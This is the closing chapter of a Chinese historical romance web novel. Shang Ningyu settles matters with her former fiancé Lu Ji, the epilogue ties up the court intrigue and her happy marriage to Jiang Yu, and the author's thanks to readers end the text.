点翠脚步飞快,冲进屋内,说完这个晴天霹雳的消息,商凝语愣了片刻,眨了两下眼睛,而后问了两个问题,便掩了眼底的神色。 反应之迅速,令人心中涩然。 步程稍作迟缓的江昱在门口发出一声轻响,商凝语掀眸看过来,见到他的一瞬,人未到声先至:“瑾弋,你来看,苗苗写信说,她又怀孕了。” 江昱目光在桌前的信纸上略作停留,道:“放心,你也很快就会有了。” 他还以为,她是为“怀孕”二字占去了心神。 能取缔那位的,甭管别人行不行,“孩子”一定可以。 商凝语嗔怒地瞪他一眼,新婚才几日,就说这么敏感的话题! 商凝语掉头,走到桌前,将书信收好在抽屉里,江昱信步追在身后,道:“圣上口谕,命我十日后,整军前往西北,对阵乌孙。” “十日?”商凝语睁大了眼,“不是迫在眉睫了吗?怎么还要等十日后?” 江昱面露不满,“圣上体恤我新婚,多留我几日,你倒好,恨不得我立刻上战场。” 商凝语又嗔怒地瞪他一眼:“你要是能不去,我自然高兴,可既然要去,那自然将事情办得漂漂亮亮的,你是圣上跟前红人,办好了差事,我脸上也有面儿呀。难道要被人说,哎呀,都是商七那个小贱人,缠着江世子,致家国危难于不顾?” 江昱噗嗤一笑,刮了一下她的鼻子,骂道:“什么时候也学会了油嘴滑舌?” “这不是跟你学的?”商凝语见他笑了,这才心头一松,倒了一杯茶水给他。 江昱接过茶水却没喝,放置一旁,道:“是陆霁举荐我去的,你可有什么话要说?” 商凝语觉得他有病。问题不在成亲前解决,反而现在来质问她,有意思吗?存心找茬不是? 江昱盯着她,眼光跳动,有期盼,有忐忑。 商凝语看懂了他的眼神,心头无可抑制地一软,垂眸沉吟片刻,轻声反问道:“十日后出发,也是他提议的?” 江昱骤然心中涌起一丝戾气,面上却不显,口气淡淡:“嗯。” 商凝语斟酌道:“那他大概是真的需要你的帮忙。” 江昱微诧,“怎么说?” “我不知道他的计划,但我想,他如果真的假公济私,应该不会再给你十天时间逗留在京都。”《 》 【完结章】 第107章 商凝语以为自己已经说清楚了自己的心意, 然则—— 三日后,陆霁带着华阳长公主的私卫离京,而她, 在未特意打听陆霁行踪的情况下,被江昱以“离京前最后一次放纵”的荒诞理由诓骗去往京郊, 在一处密林偶遇陆霁时,方明白,他心中对她的这段旧情依旧耿耿于怀。 不过, 商凝语也不是喜欢藏着掖着的人。 既然他给这个机会, 她就牢牢抓住。 有些话,要说个清楚。 山林苍翠,春意暖融,双方侍卫自发的后退百米,空旷的林子里,商凝语目光热切, 陆霁同样细细睃巡。 面色红润, 眉目舒展,素日沉静的眼眸增添了一抹亮色, 不难发现,她成亲后很幸福。更可贵的是,即便此行来见他这个差点娶了她的前未婚夫,她眼中依旧坦荡, 并无一丝“红杏出墙”的窘迫与忐忑。 可见, 她也明白了这场偶遇的真相, 并愿意相信,她那位仗势欺人的夫君不会与她“秋后算账”。 还有一层原因,便是她这倔强到宁愿“明知山有虎, 偏要虎山行”的性子,那场无疾而终的婚事,终究需要一个说法。 商凝语看够了,开门见山:“能和我说说,你为什么要娶华阳长公主吗?” 距离旷野不远的密林深处,华阳长公主一身绿裙,隐在粗壮的虬枝后,眼神紧紧地盯着前方一粉一白的男女。 江昱目光沉沉,锁在那个浑身紧绷的身影上。 陆霁回:“娶公主的原因,有很多,你想听哪种?” 商凝语:“我想听最重要的那个。” 陆霁沉默片刻后道:“那就是我惜命,我贪慕虚荣,且贪生怕死。” 商凝语看着他,并未有任何反应。 几乎是一瞬间,陆霁眼里热气上涌,瞬间湿了眼眶。但他很快逼退热意,用手指捏她的脸颊,以掩饰自己的失态。 华阳长公主目眦欲裂,几欲冲上前去,将他二人分开,她再也不要什么狗屁释怀了,就让他心里藏着这个人算了,一辈子就一辈子! 切齿警告:“江瑾弋,你就这么看着你娘子被人轻薄?你能忍,我不能,你放开我。” 江昱骨骼咯吱作响,只有他自己知晓,他花了多大的力气攥住了华阳的衣袖。 “再等等。”他咬牙,“你若是想让陆霁与你一辈子分房睡,就冲过去。” 华阳长公主想了想,忍了。 “你瞧不起我吗?”陆霁问,“古道圣贤不畏强权,而我,向权贵俯首称臣,枉读圣贤书,见异思迁,背信弃义,你应该轻视我。” 商凝语摇头,道:“命只有一条,不值得因婚事断送。”说到这里,她有些哽咽,“我觉得抱歉,我不知道华阳长公主如何逼迫你,那四年,沉浸在自己的幻想里,对你步步紧逼,将你画地为牢。” 陆霁一滞,想要阻止。 商凝语后退一步,继续道:“我觉得对不起你,小时候,阿爹找人给我算过一命,卦象上说,我这一生都需以诚待人,若汲汲营营,终会抱薪取火,害人害己。” “其实,我也分不清对你的感情,你大概就像” “凝语!”陆霁凌声打断。 商凝语稍顿,撩起鬓角的一缕青丝别在耳后,迎上陆霁的目光,道:“霁哥哥,给公主和江昱一个公平吧,我们再重新定义一下我们之间的关系。” 她道:“饱暖才能思/淫/欲,从前,你为生计发愁,我为嫁人瞻前顾后,我们都没有时间思考男女情事的真正由来,或许因为,我是你生命的第一道光,所以给了你错觉,让我们都误会了这段感情。当初,我弃你而去,你能欣然接受,而今是你抛弃我,却反而更加痛苦,这是为何?你悲痛万分,不是因为你爱我至深,而是因为,此举违背了你的道义。” “而我对你,就像是阿爹送给我的一件宝贝,我以为可以将你占为己有,却陷入了那句谶语里,抱薪取火,霁哥哥,我也有错,是我没有参透阿爹和阿娘的婚姻,生搬硬套地,以为可以效仿,是我胆小怯懦,将你编织在与阿爹阿娘一样的故事里。” “但是公主和江昱不一样,他们知道怎么爱一个人,哪怕他们手段并不怎么光明,但是,他们发自内心。我们既然选择了这条路,就试着走出旧途。” 陆霁苦笑一声,恍然大悟,“江昱坚持让你见上我一面,就是为了让你对我说这些?” “公主也希望你不要困在对我的愧疚里。”商凝语道。 陆霁望着远处树梢,良久,道:“我并无愧疚,我只是遗憾,你的人生规划很美好,我却不能和你一起实现,而你,也不能青史留名,注定只能是个世子夫人。” 我,是在为这份可见的人生展望遗憾。 商凝语却轻忽一笑:“你要走的官路和你的理想,注定不是一条坦途,多少地方官员受上官打压,一辈子人微言轻,想要青史留名,谈何容易?得之我幸,失之我命。况且,我也不会就此罢休,定当倾尽一生,将我毕生所学著书成文,供民间女子赏阅。” “而华阳长公主深受圣上宠爱,你可以借势而上,依旧做你想做的事,比如,出使南蛮,为岭南百姓谋得一线生机。” 陆霁失笑:“为了说服我,你已经无所不用其极。看来,你我的确不适合做夫妻,你太冷静客观了。” “如何说?”商凝语疑惑。 陆霁笑容微敛,避开她的目光,恍惚道:“当初,我被逼至绝境,便是立在你的位置,思考了这个问题,最终做出了这个选择。” 商凝语睁大了眼,震惊地看着他。 陆霁目光怅然,道:“不,应该是我为自己寻找了一个借口。” “当初,我收到你的信,就猜到信中内容,彼时,华阳绝了我的官途,我自知没有退路,确信了与你没有未来,便在心里寻到了这个借口。” “我换位思考,如果是你,该是如何抉择。” “你聪慧果决,遇事冷静,除了牵连先生师娘以及商弟,从不感情用事,我猜,你也不会就此认命,你会审时度势,会将这门亲事利益最大化。” “于是,我站在你的位置,重新思考了这门亲事的好处,便如你当初说服先生和师娘嫁给我一样,于天下兴亡之大道,纵横谋划。” 商凝语怔住,仿佛从未想过,自己的心思会有一天被人洞察,并效仿。 陆霁挺直了胸膛,“扶犁促耕,兴建水利,这些俨然已经无法与你共同实现,但你说的没错,我只是不能与你继续并肩,但我的理想,我依旧可以实现,这次前往南蛮和谈,是我为自己开辟的第一条道,若此战能成,往后,朝堂谏言,国事商榷,亦能有我一份。” 商凝语愕然,她的意思是,他既然无心于功名,且又身居驸马高位,何必拘泥那些虚名,不如去做真正对百姓有意义的事。 就像江昱,顶着官职四处巡游,发现不公之处,立刻现身处置,相信以华阳长公主的身份地位,做这些事来比小小县令更能事半功倍。 旋即她又担忧起来,“驸马不得干政,圣上不会应允的。” 陆霁却笑了,“从前,我不懂,以为圣上助纣为虐,不过现在,我看出来了,圣上并非有意打压,他只是需要一把能用的刀,去制衡那些嚣张跋扈的宗室蠹虫,驸马这个身份最好,既能控制这些宗室子弟不再欺压百姓,又能为圣上所用,不必囿于吏部考核。” 官场盘根错节,多少地方官员一辈子周旋在百姓与上官之间,他这样倒是省却了不少事,但如此一来,他的身家荣辱,都将系在永宁帝一人身上。 然则,万事不能求全,这样已然很好,至少,永宁帝正值壮年,想要改朝换代,那还需要再等几十年。 商凝语眉头一松,笑问:“你既然已经想通这些,后院安宁才是最重要,就不要再让公主惶惑了,也要宽待你自己。” 陆霁静默,眼睑落下,遮住了眼底的心思。 “好了,此话不该我多说。”商凝语连忙告饶,扬声一笑,道:“霁哥哥,旧事既了,我在此祝你和谈顺遂,万事如意。” 言罢,二人心中都明白,这是最后一面,从此以后,京都宴会偶遇,不再是岭南儿女,而是华阳长公主驸马与勇毅侯世子夫人。 商凝语潇洒转身,踩上锦杌,踏进马车,与他挥手道别。 陆霁看着马车渐行渐远,目光宁静。 不能不遗憾啊,男耕女织,夫唱妇随,多么温馨的画面,却要失之交臂。 他垂下眼帘,身后渐渐传来动静,不须转身,便也知来者是谁。 陆霁敛袖拱手:“公主。” 华阳长公主双手背在身后,扬着下巴,眼神下瞥,倨傲道:“怎么样?还不准备出发?” “这就出发。”陆霁略作沉吟,迟疑片刻道,“公主回去安心等消息,待臣回京,有些话与公主要说。” 华阳长公主眼睛一亮,脸上露出一抹难得的娇羞与激动。 这厢,马车未停,一阵风吹过,车厢内落进一人,商凝语淡淡地扫了眼来者,白眼翻飞。 一月后,南蛮幼王病逝,岭南边境传来和谈顺利的消息,不过,令众人感到意外,新王提出以和亲联盟,结亲对象由陆霁举荐,让平乐公主嫁新南蛮王。 商凝语得知消息时,无可抑制地想起当年,她被一张字条牵引,前往国子监旧书楼救江昱一事。 逼问江昱时,江昱面露不屑,只叮嘱她:“皇家不伦之事,少打听为妙。” 商凝语心中震惊,但仔细一想,便有了解释,宁平王心思狭隘,行事偏激,与方云婉的轶事,这位公主未尝不知。 知晓宁平王要再次谋害江昱,索性来了一招借刀杀人,一石二鸟,不可谓不阴毒。 只是她没想到,商凝语生于山间,胆大包天,根本不惧一名小小内侍,即便那人长相丑陋。 平乐公主出嫁仪式办得很是仓促,永宁帝命陆霁在岭南待命,代皇室成员送至南蛮,又过月余,仪仗抵达岭南驿站。 彼时,驿站红绸高挂,百姓欢呼雀跃,齐声恭迎,陆霁早已等候多日。 离开大盛边境的前一夜,已晋封为长公主的平乐,一番试探后,质问陆霁:“他二人喜结连理,你又为何要害我,替他们报仇?” 陆霁平静道:“报仇也罢,委屈也罢,若我是公主,此刻就该想想这门亲事的好处。明日出城,以慷慨赴死、保家卫国的决心,向阖城百姓表现出你作为大盛公主的气度与胸襟。唯有此,你才能在南蛮过上真正王后的日子。” 平乐长公主面色一滞,良久,转身开门离去,贴身侍女忙上前询问,主仆二人渐行渐远,劝慰的声音随着岭南夜风渐渐散开。 “公主,能远嫁也是好事,宫里愈发不待见咱们” 又是一年冬,永宁帝以祭祀先帝为由,率领臣工前往皇陵,举行盛大仪式,不料,祭祖仪式正在进行,众目睽睽之下,宁平王神识错乱,骤然拔刀意欲行刺永宁帝,幸而,太子妃乔氏眼疾身快,挡下致命一刀。 宁平王清醒后,悲痛大哭,挥刀自刎。 商凝语听闻消息后,震惊不已,好在,她已经身怀六甲,受公主婆婆体恤,倒是没用前去替旧太子哭灵。 不过,在她诞下麟儿后,受宫中宣召,在宫中见到了商明惠。 商家的四娘子终究是国公府倾尽全力培养的太子侧妃,涵养、学识都是京都贵女之首,几番考量,成为了后宫新晋的宸贵妃。 “皇家无情,他能为我做到这些就够了。” 商明惠见到商凝语,很是高兴,一番叙旧后,面对商凝语的忐忑关心,言道。 “我与你不同,你可以展翅为雁,翱翔天地,我生来就该回到这座城,为家族谋福利。便是祖父和伯父的英灵在世,也会支持我这般做,家族兴衰,从来不能作为赌气的筹码。” 商凝语抱住她,道:“好,我帮你。” 姐妹两,相视一笑。 从宫中出来,商凝语怅然若失,可惜,这份惆怅并未持续多久,因为,江昱正抱着嗷嗷待哺的幼儿等在皇城门口。 见到她,幼儿睁开惺忪的睡眼,发出咿咿呀呀的童语。 商凝语扶额,大怒:“你就不能让我消停半日?府上不是有奶娘?” 江昱连忙哄道:“他喝饱了来的,别急,我是来提醒你,今日习艺馆开放半日,请你前往赏花,你去还是不去?” 商凝语忙道:“去,当然要去。” 一个时辰后,白池柊带着妻子漫步走在习艺馆的后排小楼前,夫妻二人被前方一缕清香吸引,猫着腰悄然窥视。 只见昔日那眼高于顶、目中无人的世子好友,头上插花,手上执壶,正向成亲不过三载的夫人献媚。 二人对话如下。 女问:“你觉得茶这样冲香不香?” 男答:“香。” 女再问:“花这样插好不好看?” 男再答:“好看。” 女似笑非笑:“不觉得差点意思?” 男义正言辞:“不差,只要是你做的,就是最好的!” 岁月静好里,一幼儿嘴里吐着泡泡,在灿烂艳阳里,发着色彩斑斓的光。 全文完—— 作者有话说:感谢宝子们的陪伴,么么哒[三花猫头]《 》